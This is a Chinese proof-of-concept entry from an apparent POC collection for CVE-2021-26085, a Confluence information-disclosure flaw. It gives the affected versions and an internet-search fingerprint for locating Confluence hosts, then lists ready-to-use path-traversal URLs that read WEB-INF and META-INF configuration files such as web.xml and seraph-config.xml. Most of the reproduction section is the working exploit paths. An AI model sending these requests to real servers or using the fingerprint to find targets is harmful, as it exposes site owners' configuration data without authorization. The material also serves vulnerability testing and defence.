Awesome-POC/Web应用漏洞/Atlassian Confluence 敏感信息泄露 CVE-2021-26085.md

Atlassian Confluence 敏感信息泄露 CVE-2021-26085

漏洞描述

Confluence 是一个专业的企业知识管理与协同软件，也可以用于构建企业 wiki。使用简单，但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论，信息推送。该漏洞不是任意文件读取，只能读取一些 confluence 的配置文件，影响有限。

参考链接：

• https://jira.atlassian.com/browse/CONFSERVER-67893

漏洞影响

version < 7.4.10
7.5.0 ≤ version < 7.12.3

网络测绘

app="ATLASSIAN-Confluence"

漏洞复现

poc：

/s/123cfx/_/;/WEB-INF/web.xml
/s/123cfx/_/;/WEB-INF/decorators.xml
/s/123cfx/_/;/WEB-INF/classes/seraph-config.xml
/s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties
/s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml